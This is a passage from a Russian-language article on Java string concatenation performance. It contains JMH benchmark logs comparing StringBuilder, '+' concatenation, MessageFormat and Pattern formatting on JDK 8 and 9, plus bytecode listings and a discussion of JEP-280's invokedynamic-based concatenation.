Iteration 9: 56,881 ns/op
Iteration 10: 56,639 ns/op
# Run progress: 60,42% complete, ETA 00:07:17
# Fork: 3 of 3
# Warmup Iteration 1: 71,819 ns/op
# Warmup Iteration 2: 53,982 ns/op
# Warmup Iteration 3: 53,217 ns/op
# Warmup Iteration 4: 53,991 ns/op
# Warmup Iteration 5: 53,129 ns/op
Iteration 1: 53,270 ns/op
Iteration 2: 53,306 ns/op
Iteration 3: 54,263 ns/op
Iteration 4: 53,325 ns/op
Iteration 5: 54,777 ns/op
Iteration 6: 53,585 ns/op
Iteration 7: 56,112 ns/op
Iteration 8: 55,468 ns/op
Iteration 9: 53,991 ns/op
Iteration 10: 55,320 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughConcatenationBenchmark":
56,220 ±(99.9%) 1,051 ns/op [Average]
(min, avg, max) = (53,270, 56,220, 58,599), stdev = 1,573
CI (99.9%): [55,169, 57,271] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughMessageFormatBuilder
# Run progress: 62,50% complete, ETA 00:06:54
# Fork: 1 of 3
# Warmup Iteration 1: 938,402 ns/op
# Warmup Iteration 2: 777,569 ns/op
# Warmup Iteration 3: 675,804 ns/op
# Warmup Iteration 4: 578,318 ns/op
# Warmup Iteration 5: 617,798 ns/op
Iteration 1: 595,885 ns/op
Iteration 2: 582,897 ns/op
Iteration 3: 581,880 ns/op
Iteration 4: 583,899 ns/op
Iteration 5: 587,891 ns/op
Iteration 6: 582,556 ns/op
Iteration 7: 573,807 ns/op
Iteration 8: 580,034 ns/op
Iteration 9: 580,055 ns/op
Iteration 10: 600,465 ns/op
# Run progress: 64,58% complete, ETA 00:06:31
# Fork: 2 of 3
# Warmup Iteration 1: 917,728 ns/op
# Warmup Iteration 2: 778,207 ns/op
# Warmup Iteration 3: 701,344 ns/op
# Warmup Iteration 4: 614,129 ns/op
# Warmup Iteration 5: 657,221 ns/op
Iteration 1: 607,015 ns/op
Iteration 2: 612,909 ns/op
Iteration 3: 583,067 ns/op
Iteration 4: 578,083 ns/op
Iteration 5: 581,597 ns/op
Iteration 6: 584,794 ns/op
Iteration 7: 579,920 ns/op
Iteration 8: 582,049 ns/op
Iteration 9: 580,960 ns/op
Iteration 10: 577,774 ns/op
# Run progress: 66,67% complete, ETA 00:06:08
# Fork: 3 of 3
# Warmup Iteration 1: 976,629 ns/op
# Warmup Iteration 2: 793,514 ns/op
# Warmup Iteration 3: 684,222 ns/op
# Warmup Iteration 4: 614,079 ns/op
# Warmup Iteration 5: 585,099 ns/op
Iteration 1: 699,791 ns/op
Iteration 2: 666,016 ns/op
Iteration 3: 619,701 ns/op
Iteration 4: 579,987 ns/op
Iteration 5: 576,779 ns/op
Iteration 6: 638,863 ns/op
Iteration 7: 607,345 ns/op
Iteration 8: 582,039 ns/op
Iteration 9: 579,164 ns/op
Iteration 10: 581,331 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughMessageFormatBuilder":
594,952 ±(99.9%) 19,025 ns/op [Average]
(min, avg, max) = (573,807, 594,952, 699,791), stdev = 28,475
CI (99.9%): [575,927, 613,977] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughPatternBenchmark
# Run progress: 68,75% complete, ETA 00:05:45
# Fork: 1 of 3
# Warmup Iteration 1: 2299,834 ns/op
# Warmup Iteration 2: 1192,569 ns/op
# Warmup Iteration 3: 1119,558 ns/op
# Warmup Iteration 4: 1117,464 ns/op
# Warmup Iteration 5: 1113,444 ns/op
Iteration 1: 1114,229 ns/op
Iteration 2: 1113,023 ns/op
Iteration 3: 1112,185 ns/op
Iteration 4: 1108,222 ns/op
Iteration 5: 1108,988 ns/op
Iteration 6: 1108,674 ns/op
Iteration 7: 1109,976 ns/op
Iteration 8: 1109,831 ns/op
Iteration 9: 1109,610 ns/op
Iteration 10: 1107,814 ns/op
# Run progress: 70,83% complete, ETA 00:05:22
# Fork: 2 of 3
# Warmup Iteration 1: 2304,824 ns/op
# Warmup Iteration 2: 1199,471 ns/op
# Warmup Iteration 3: 1132,885 ns/op
# Warmup Iteration 4: 1129,351 ns/op
# Warmup Iteration 5: 1127,920 ns/op
Iteration 1: 1125,261 ns/op
Iteration 2: 1127,166 ns/op
Iteration 3: 1141,141 ns/op
Iteration 4: 1124,300 ns/op
Iteration 5: 1125,081 ns/op
Iteration 6: 1126,538 ns/op
Iteration 7: 1125,685 ns/op
Iteration 8: 1130,100 ns/op
Iteration 9: 1176,107 ns/op
Iteration 10: 1154,583 ns/op
# Run progress: 72,92% complete, ETA 00:04:59
# Fork: 3 of 3
# Warmup Iteration 1: 2358,123 ns/op
# Warmup Iteration 2: 1352,622 ns/op
# Warmup Iteration 3: 1156,702 ns/op
# Warmup Iteration 4: 1149,448 ns/op
# Warmup Iteration 5: 1149,654 ns/op
Iteration 1: 1147,214 ns/op
Iteration 2: 1180,265 ns/op
Iteration 3: 1181,957 ns/op
Iteration 4: 1155,407 ns/op
Iteration 5: 1140,645 ns/op
Iteration 6: 1133,507 ns/op
Iteration 7: 1139,044 ns/op
Iteration 8: 1139,680 ns/op
Iteration 9: 1137,071 ns/op
Iteration 10: 1137,626 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughPatternBenchmark":
1131,698 ±(99.9%) 14,363 ns/op [Average]
(min, avg, max) = (1107,814, 1131,698, 1181,957), stdev = 21,499
CI (99.9%): [1117,334, 1146,061] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughBuilderBenchmark
# Run progress: 75,00% complete, ETA 00:04:36
# Fork: 1 of 3
# Warmup Iteration 1: 60,124 ns/op
# Warmup Iteration 2: 53,887 ns/op
# Warmup Iteration 3: 50,428 ns/op
# Warmup Iteration 4: 53,202 ns/op
# Warmup Iteration 5: 51,629 ns/op
Iteration 1: 54,842 ns/op
Iteration 2: 59,136 ns/op
Iteration 3: 52,904 ns/op
Iteration 4: 53,913 ns/op
Iteration 5: 52,834 ns/op
Iteration 6: 54,876 ns/op
Iteration 7: 52,038 ns/op
Iteration 8: 51,615 ns/op
Iteration 9: 53,753 ns/op
Iteration 10: 55,080 ns/op
# Run progress: 77,08% complete, ETA 00:04:12
# Fork: 2 of 3
# Warmup Iteration 1: 69,893 ns/op
# Warmup Iteration 2: 70,767 ns/op
# Warmup Iteration 3: 54,095 ns/op
# Warmup Iteration 4: 52,366 ns/op
# Warmup Iteration 5: 51,154 ns/op
Iteration 1: 53,590 ns/op
Iteration 2: 59,785 ns/op
Iteration 3: 54,607 ns/op
Iteration 4: 53,504 ns/op
Iteration 5: 53,435 ns/op
Iteration 6: 53,093 ns/op
Iteration 7: 55,045 ns/op
Iteration 8: 56,632 ns/op
Iteration 9: 53,294 ns/op
Iteration 10: 53,475 ns/op
# Run progress: 79,17% complete, ETA 00:03:49
# Fork: 3 of 3
# Warmup Iteration 1: 67,840 ns/op
# Warmup Iteration 2: 60,608 ns/op
# Warmup Iteration 3: 55,115 ns/op
# Warmup Iteration 4: 51,854 ns/op
# Warmup Iteration 5: 51,892 ns/op
Iteration 1: 50,344 ns/op
Iteration 2: 52,877 ns/op
Iteration 3: 49,468 ns/op
Iteration 4: 49,513 ns/op
Iteration 5: 49,646 ns/op
Iteration 6: 49,113 ns/op
Iteration 7: 50,870 ns/op
Iteration 8: 51,113 ns/op
Iteration 9: 52,482 ns/op
Iteration 10: 53,757 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughBuilderBenchmark":
53,221 ±(99.9%) 1,691 ns/op [Average]
(min, avg, max) = (49,113, 53,221, 59,785), stdev = 2,531
CI (99.9%): [51,530, 54,912] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughConcatenationBenchmark
# Run progress: 81,25% complete, ETA 00:03:26
# Fork: 1 of 3
# Warmup Iteration 1: 83,417 ns/op
# Warmup Iteration 2: 68,292 ns/op
# Warmup Iteration 3: 67,835 ns/op
# Warmup Iteration 4: 68,365 ns/op
# Warmup Iteration 5: 67,227 ns/op
Iteration 1: 70,120 ns/op
Iteration 2: 76,220 ns/op
Iteration 3: 69,923 ns/op
Iteration 4: 70,066 ns/op
Iteration 5: 70,546 ns/op
Iteration 6: 73,056 ns/op
Iteration 7: 74,891 ns/op
Iteration 8: 71,014 ns/op
Iteration 9: 71,251 ns/op
Iteration 10: 68,057 ns/op
# Run progress: 83,33% complete, ETA 00:03:03
# Fork: 2 of 3
# Warmup Iteration 1: 86,203 ns/op
# Warmup Iteration 2: 70,289 ns/op
# Warmup Iteration 3: 68,240 ns/op
# Warmup Iteration 4: 66,329 ns/op
# Warmup Iteration 5: 68,189 ns/op
Iteration 1: 70,755 ns/op
Iteration 2: 70,378 ns/op
Iteration 3: 66,964 ns/op
Iteration 4: 68,902 ns/op
Iteration 5: 66,020 ns/op
Iteration 6: 68,630 ns/op
Iteration 7: 67,040 ns/op
Iteration 8: 68,076 ns/op
Iteration 9: 66,649 ns/op
Iteration 10: 67,851 ns/op
# Run progress: 85,42% complete, ETA 00:02:41
# Fork: 3 of 3
# Warmup Iteration 1: 80,438 ns/op
# Warmup Iteration 2: 66,941 ns/op
# Warmup Iteration 3: 66,932 ns/op
# Warmup Iteration 4: 66,243 ns/op
# Warmup Iteration 5: 65,965 ns/op
Iteration 1: 66,020 ns/op
Iteration 2: 65,198 ns/op
Iteration 3: 66,240 ns/op
Iteration 4: 65,758 ns/op
Iteration 5: 65,622 ns/op
Iteration 6: 65,821 ns/op
Iteration 7: 65,357 ns/op
Iteration 8: 66,522 ns/op
Iteration 9: 65,876 ns/op
Iteration 10: 65,746 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughConcatenationBenchmark":
68,486 ±(99.9%) 1,936 ns/op [Average]
(min, avg, max) = (65,198, 68,486, 76,220), stdev = 2,897
CI (99.9%): [66,550, 70,421] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughMessageFormatBenchmark
# Run progress: 87,50% complete, ETA 00:02:18
# Fork: 1 of 3
# Warmup Iteration 1: 1721,971 ns/op
# Warmup Iteration 2: 1404,417 ns/op
# Warmup Iteration 3: 1288,016 ns/op
# Warmup Iteration 4: 1221,914 ns/op
# Warmup Iteration 5: 1148,926 ns/op
Iteration 1: 1167,718 ns/op
Iteration 2: 1200,962 ns/op
Iteration 3: 1279,375 ns/op
Iteration 4: 1189,680 ns/op
Iteration 5: 1194,886 ns/op
Iteration 6: 1155,321 ns/op
Iteration 7: 1263,725 ns/op
Iteration 8: 1216,670 ns/op
Iteration 9: 1214,617 ns/op
Iteration 10: 1183,180 ns/op
# Run progress: 89,58% complete, ETA 00:01:55
# Fork: 2 of 3
# Warmup Iteration 1: 1687,903 ns/op
# Warmup Iteration 2: 1448,192 ns/op
# Warmup Iteration 3: 1379,461 ns/op
# Warmup Iteration 4: 1276,630 ns/op
# Warmup Iteration 5: 1295,725 ns/op
Iteration 1: 1211,845 ns/op
Iteration 2: 1198,077 ns/op
Iteration 3: 1212,626 ns/op
Iteration 4: 1186,964 ns/op
Iteration 5: 1239,643 ns/op
Iteration 6: 1222,036 ns/op
Iteration 7: 1275,295 ns/op
Iteration 8: 1213,864 ns/op
Iteration 9: 1212,271 ns/op
Iteration 10: 1242,831 ns/op
# Run progress: 91,67% complete, ETA 00:01:31
# Fork: 3 of 3
# Warmup Iteration 1: 1765,377 ns/op
# Warmup Iteration 2: 1601,591 ns/op
# Warmup Iteration 3: 1314,168 ns/op
# Warmup Iteration 4: 1185,941 ns/op
# Warmup Iteration 5: 1187,965 ns/op
Iteration 1: 1188,869 ns/op
Iteration 2: 1187,571 ns/op
Iteration 3: 1189,977 ns/op
Iteration 4: 1186,874 ns/op
Iteration 5: 1188,421 ns/op
Iteration 6: 1195,331 ns/op
Iteration 7: 1190,250 ns/op
Iteration 8: 1216,980 ns/op
Iteration 9: 1189,504 ns/op
Iteration 10: 1221,858 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughMessageFormatBenchmark":
1207,907 ±(99.9%) 19,414 ns/op [Average]
(min, avg, max) = (1155,321, 1207,907, 1279,375), stdev = 29,058
CI (99.9%): [1188,493, 1227,322] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughPatternBenchmark
# Run progress: 93,75% complete, ETA 00:01:08
# Fork: 1 of 3
# Warmup Iteration 1: 3552,804 ns/op
# Warmup Iteration 2: 2018,183 ns/op
# Warmup Iteration 3: 2019,489 ns/op
# Warmup Iteration 4: 1971,642 ns/op
# Warmup Iteration 5: 1958,374 ns/op
Iteration 1: 1951,968 ns/op
Iteration 2: 1950,212 ns/op
Iteration 3: 1953,115 ns/op
Iteration 4: 1961,593 ns/op
Iteration 5: 1958,681 ns/op
Iteration 6: 1958,468 ns/op
Iteration 7: 1951,402 ns/op
Iteration 8: 1953,397 ns/op
Iteration 9: 1952,821 ns/op
Iteration 10: 2014,765 ns/op
# Run progress: 95,83% complete, ETA 00:00:45
# Fork: 2 of 3
# Warmup Iteration 1: 3928,522 ns/op
# Warmup Iteration 2: 2167,959 ns/op
# Warmup Iteration 3: 2066,428 ns/op
# Warmup Iteration 4: 1972,538 ns/op
# Warmup Iteration 5: 1948,498 ns/op
Iteration 1: 1948,707 ns/op
Iteration 2: 2003,769 ns/op
Iteration 3: 1974,530 ns/op
Iteration 4: 1944,253 ns/op
Iteration 5: 1973,301 ns/op
Iteration 6: 2066,764 ns/op
Iteration 7: 2128,009 ns/op
Iteration 8: 2042,947 ns/op
Iteration 9: 2052,664 ns/op
Iteration 10: 2049,175 ns/op
# Run progress: 97,92% complete, ETA 00:00:22
# Fork: 3 of 3
# Warmup Iteration 1: 2954,069 ns/op
# Warmup Iteration 2: 2011,884 ns/op
# Warmup Iteration 3: 1934,112 ns/op
# Warmup Iteration 4: 1929,191 ns/op
# Warmup Iteration 5: 1924,142 ns/op
Iteration 1: 1966,331 ns/op
Iteration 2: 1972,040 ns/op
Iteration 3: 1935,918 ns/op
Iteration 4: 1917,124 ns/op
Iteration 5: 1931,921 ns/op
Iteration 6: 1915,141 ns/op
Iteration 7: 1963,801 ns/op
Iteration 8: 1934,464 ns/op
Iteration 9: 1931,712 ns/op
Iteration 10: 1921,676 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughPatternBenchmark":
1972,689 ±(99.9%) 33,432 ns/op [Average]
(min, avg, max) = (1915,141, 1972,689, 2128,009), stdev = 50,040
CI (99.9%): [1939,257, 2006,121] (assumes normal distribution)
# Run complete. Total time: 00:18:23
Benchmark (N) Mode Cnt Score Error Units
ImmutableStringBenchmark.builderBenchmark 10 avgt 30 0,160 ± 0,004 us/op
ImmutableStringBenchmark.builderBenchmark 100 avgt 30 1,438 ± 0,107 us/op
ImmutableStringBenchmark.builderBenchmark 1000 avgt 30 15,963 ± 0,493 us/op
ImmutableStringBenchmark.builderBenchmark 10000 avgt 30 175,407 ± 3,039 us/op
ImmutableStringBenchmark.concatenationBenchmark 10 avgt 30 0,283 ± 0,007 us/op
ImmutableStringBenchmark.concatenationBenchmark 100 avgt 30 7,532 ± 0,220 us/op
ImmutableStringBenchmark.concatenationBenchmark 1000 avgt 30 612,002 ± 9,759 us/op
ImmutableStringBenchmark.concatenationBenchmark 10000 avgt 30 59119,874 ± 841,652 us/op
MetricsFormatBenchmark.formatThroughBuilderBenchmark N/A avgt 30 207,168 ± 4,245 ns/op
MetricsFormatBenchmark.formatThroughConcatenationBenchmark N/A avgt 30 56,220 ± 1,051 ns/op
MetricsFormatBenchmark.formatThroughMessageFormatBuilder N/A avgt 30 594,952 ± 19,025 ns/op
MetricsFormatBenchmark.formatThroughPatternBenchmark N/A avgt 30 1131,698 ± 14,363 ns/op
OrdinalStringFormatBenchmark.formatThroughBuilderBenchmark N/A avgt 30 53,221 ± 1,691 ns/op
OrdinalStringFormatBenchmark.formatThroughConcatenationBenchmark N/A avgt 30 68,486 ± 1,936 ns/op
OrdinalStringFormatBenchmark.formatThroughMessageFormatBenchmark N/A avgt 30 1207,907 ± 19,414 ns/op
OrdinalStringFormatBenchmark.formatThroughPatternBenchmark N/A avgt 30 1972,689 ± 33,432 ns/op
```
Неожиданный результат! Возможно даже для тех, кто внимательно следил за изменениями в Java 9: [JEP-280](http://openjdk.java.net/jeps/280).
Смотрим в генерируемый байткод для MetricsFormat:
```
public static java.lang.String formatThroughConcatenation(java.lang.String, int, long);
Code:
0: aload_0
1: iload_1
2: lload_2
3: invokedynamic #7, 0 // InvokeDynamic #0:makeConcatWithConstants:(Ljava/lang/String;IJ)Ljava/lang/String;
8: areturn
```
и байткод для OrdinalStringFormat:
```
public static java.lang.String formatThroughConcatenation(java.lang.String, java.lang.String, java.lang.String, java.lang.String);
Code:
0: aload_0
1: aload_1
2: aload_2
3: aload_3
4: invokedynamic #5, 0 // InvokeDynamic #0:makeConcatWithConstants:(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
9: areturn
```
За генерацию специализированных методов `makeConcatWithConstants` отвечает [`StringConcatFactory`](https://docs.oracle.com/javase/9/docs/api/java/lang/invoke/StringConcatFactory.html). Специализация заключается в том, что для каждого случая генерируется отдельный метод: для `MetricsFormat` создался `makeConcatWithConstants`-метод, принимающий `String`, `int` и `long`, а из тела `MetricsFormat.formatThroughConcatenation()` ушла загрузка строковых констант (опкод ldc).
По умолчанию в `StringConcatFactory` выполняется стратегия `Strategy.MH_INLINE_SIZED_EXACT` — генерация с использованием `MethodHandle` с предварительным вычислением размера буфера, равного размеру результирующей строки:
```
/**
* **{@link Strategy#MH\_INLINE\_SIZED\_EXACT}: "MethodHandles inline,
\* sized exactly".**
\*
\* This strategy replicates what StringBuilders are doing: it builds the
\* byte[] array on its own and passes that byte[] array to String
\* constructor. This strategy requires access to some private APIs in JDK,
\* most notably, the read-only Integer/Long.stringSize methods that measure
\* the character length of the integers, and the private String constructor
\* that accepts byte[] arrays without copying. While this strategy assumes a
\* particular implementation details for String, this opens the door for
\* building a very optimal concatenation sequence. This is the only strategy
\* that requires porting if there are private JDK changes occur.
\*/
private static final class MethodHandleInlineCopyStrategy { }
```
Это позволило обойти проблемы при форматировании строки с метрикой, наблюдавшиеся в сгенерированном коде для Java 8. Но так может получаться не всегда, как в случае примера из нашей задачи — результат хуже примерно на четверть. Результат получился хуже как относительно `StringBuilder`, так и по отношению к результату на Java 8.
#### OptimizeStringConcat
Интересен и тот факт, что метод `MetricsFormat.formatThroughConcatenation()` показал в 4 раза лучший результат по сравнению с `MetricsFormat.formatThroughBuilder()`!
Дело в том, что это не `makeConcatWithConstants` так быстр, как недостаточно хорошо оптимизирован метод с вызовом `StringBuilder`. Как верно заметил [apangin](https://habrahabr.ru/users/apangin/) ниже в комментариях: заменив тип timestamp с long на int можно обнаружить, что разница между двумя реализациями уже не будет такой существенной.
Особенность этого примера заключается в том, что `-XX:+OptimizeStringConcat` не работает для `StringBuilder.append(long)`, а появившийся в Java 9 механизм *Indify String Concatenation* лишён этого недостатка.
Заключение
----------
За рамками обсуждения остались compile-time оптимизации конкатенаций, о которых можно почитать в разделе спецификации, на который уже ссылался ранее ([15.18.1](https://docs.oracle.com/javase/specs/jls/se8/html/jls-15.html#jls-15.18.1)), что тоже довольно любопытно.
**Выдержка из спецификации**
> Example 15.18.1-1. String Concatenation
>
>
>
> The example expression:
>
>
> > «The square root of 2 is » + Math.sqrt(2)
>
>
>
> produces the result:
>
>
> > «The square root of 2 is 1.4142135623730952»
>
>
>
>
>
> The + operator is syntactically left-associative, no matter whether it is determined by type analysis to represent string concatenation or numeric addition. In some cases care is required to get the desired result. For example, the expression:
>
>
> > a + b + c
>
>
>
> is always regarded as meaning:
>
>
> > (a + b) + c
>
>
>
> Therefore the result of the expression:
>
>
> > 1 + 2 + " fiddlers"
>
>
>
> is:
>
>
> > «3 fiddlers»
>
>
>
> but the result of:
>
>
> > «fiddlers » + 1 + 2
>
>
>
> is:
>
>
> > «fiddlers 12»
>
>
>
>
И остались без внимания *незачейненные* вызовы `StringBuilder.append()` и разбитые на несколько независимых действий конкатенации. Хотя…
Вот для таких методов
```
public static String formatThroughConcatenation(String metrics, int value, long timestamp) {
String result = metrics + " ";
result += value + " ";
result += timestamp;
return result;
}
public static String formatThroughBuilder(String metrics, int value, long timestamp) {
StringBuilder sb = new StringBuilder(metrics);
sb.append(" ");
sb.append(value);
sb.append(" ");
sb.append(timestamp);
return sb.toString();
}
```
генерируется такой байткод:
**Байткод**
```
public static java.lang.String formatThroughConcatenation(java.lang.String, int, long);
Code:
0: new #7 // class java/lang/StringBuilder
3: dup
4: invokespecial #8 // Method java/lang/StringBuilder."":()V
7: aload\_0
8: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
11: ldc #10 // String
13: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
16: invokevirtual #11 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
19: ast ore 4
21: new #7 // class java/lang/StringBuilder
24: dup
25: invokespecial #8 // Method java/lang/StringBuilder."":()V
28: aload 4
30: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
33: iload\_1
34: invokevirtual #12 // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;
37: ldc #10 // String
39: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
42: invokevirtual #11 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
45: astore 4
47: new #7 // class java/lang/StringBuilder
50: dup
51: invokespecial #8 // Method java/lang/StringBuilder."":()V
54: aload 4
56: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
59: lload\_2
60: invokevirtual #13 // Method java/lang/StringBuilder.append:(J)Ljava/lang/StringBuilder;
63: invokevirtual #11 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
66: astore 4
68: aload 4
70: areturn
public static java.lang.String formatThroughBuilder(java.lang.String, int, long);
Code:
0: new #7 // class java/lang/StringBuilder
3: dup
4: aload\_0
5: invokespecial #14 // Method java/lang/StringBuilder."":(Ljava/lang/String;)V
8: astore 4
10: aload 4
12: ldc #10 // String
14: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
17: pop
18: aload 4
20: iload\_1
21: invokevirtual #12 // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;
24: pop
25: aload 4
27: ldc #10 // String
29: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
32: pop
33: aload 4
35: lload\_2
36: invokevirtual #13 // Method java/lang/StringBuilder.append:(J)Ljava/lang/StringBuilder;
39: pop
40: aload 4
42: invokevirtual #11 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
45: areturn
```
В обоих случаях видно, что javac не предпринял каких-либо попыток для оптимизации этого. При этом в случае конкатенации теперь создаётся аж 3 экземпляра StringBuilder, второй метод тоже потяжелел.
Как это отразилось на производительности?
```
Benchmark Mode Cnt Score Error Units
Metrics...BuilderBenchmark avgt 30 196,029 ± 4,408 ns/op
Metrics...ConcatenationBenchmark avgt 30 444,483 ± 15,958 ns/op
Metrics...MessageFormatBuilder avgt 30 742,672 ± 12,152 ns/op
Metrics...PatternBenchmark avgt 30 1460,832 ± 24,075 ns/op
```
**Результаты бенчмарка целиком**
```
# JMH version: 1.20
# VM version: JDK 1.8.0_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughBuilderBenchmark
# Run progress: 0,00% complete, ETA 00:04:30
# Fork: 1 of 3
# Warmup Iteration 1: 271,429 ns/op
# Warmup Iteration 2: 196,309 ns/op
# Warmup Iteration 3: 199,026 ns/op
# Warmup Iteration 4: 204,715 ns/op
# Warmup Iteration 5: 211,038 ns/op
Iteration 1: 203,765 ns/op
Iteration 2: 222,851 ns/op
Iteration 3: 206,074 ns/op
Iteration 4: 190,166 ns/op
Iteration 5: 194,417 ns/op
Iteration 6: 193,172 ns/op
Iteration 7: 198,825 ns/op
Iteration 8: 195,664 ns/op
Iteration 9: 199,013 ns/op
Iteration 10: 193,255 ns/op
# Run progress: 8,33% complete, ETA 00:04:12
# Fork: 2 of 3
# Warmup Iteration 1: 260,478 ns/op
# Warmup Iteration 2: 187,885 ns/op
# Warmup Iteration 3: 190,952 ns/op
# Warmup Iteration 4: 190,522 ns/op
# Warmup Iteration 5: 188,620 ns/op
Iteration 1: 189,690 ns/op
Iteration 2: 189,475 ns/op
Iteration 3: 190,417 ns/op
Iteration 4: 189,153 ns/op
Iteration 5: 188,654 ns/op
Iteration 6: 195,455 ns/op
Iteration 7: 196,520 ns/op
Iteration 8: 198,637 ns/op
Iteration 9: 197,228 ns/op
Iteration 10: 192,514 ns/op
# Run progress: 16,67% complete, ETA 00:03:49
# Fork: 3 of 3
# Warmup Iteration 1: 264,150 ns/op
# Warmup Iteration 2: 189,343 ns/op
# Warmup Iteration 3: 192,978 ns/op
# Warmup Iteration 4: 192,287 ns/op
# Warmup Iteration 5: 191,892 ns/op
Iteration 1: 196,412 ns/op
Iteration 2: 193,130 ns/op
Iteration 3: 193,759 ns/op
Iteration 4: 194,552 ns/op
Iteration 5: 194,657 ns/op
Iteration 6: 194,341 ns/op
Iteration 7: 196,031 ns/op
Iteration 8: 195,504 ns/op
Iteration 9: 203,200 ns/op
Iteration 10: 194,339 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughBuilderBenchmark":
196,029 ±(99.9%) 4,408 ns/op [Average]
(min, avg, max) = (188,654, 196,029, 222,851), stdev = 6,598
CI (99.9%): [191,621, 200,437] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughConcatenationBenchmark
# Run progress: 25,00% complete, ETA 00:03:26
# Fork: 1 of 3
# Warmup Iteration 1: 631,123 ns/op
# Warmup Iteration 2: 422,155 ns/op
# Warmup Iteration 3: 426,209 ns/op
# Warmup Iteration 4: 448,415 ns/op
# Warmup Iteration 5: 446,539 ns/op
Iteration 1: 422,996 ns/op
Iteration 2: 475,941 ns/op
Iteration 3: 461,148 ns/op
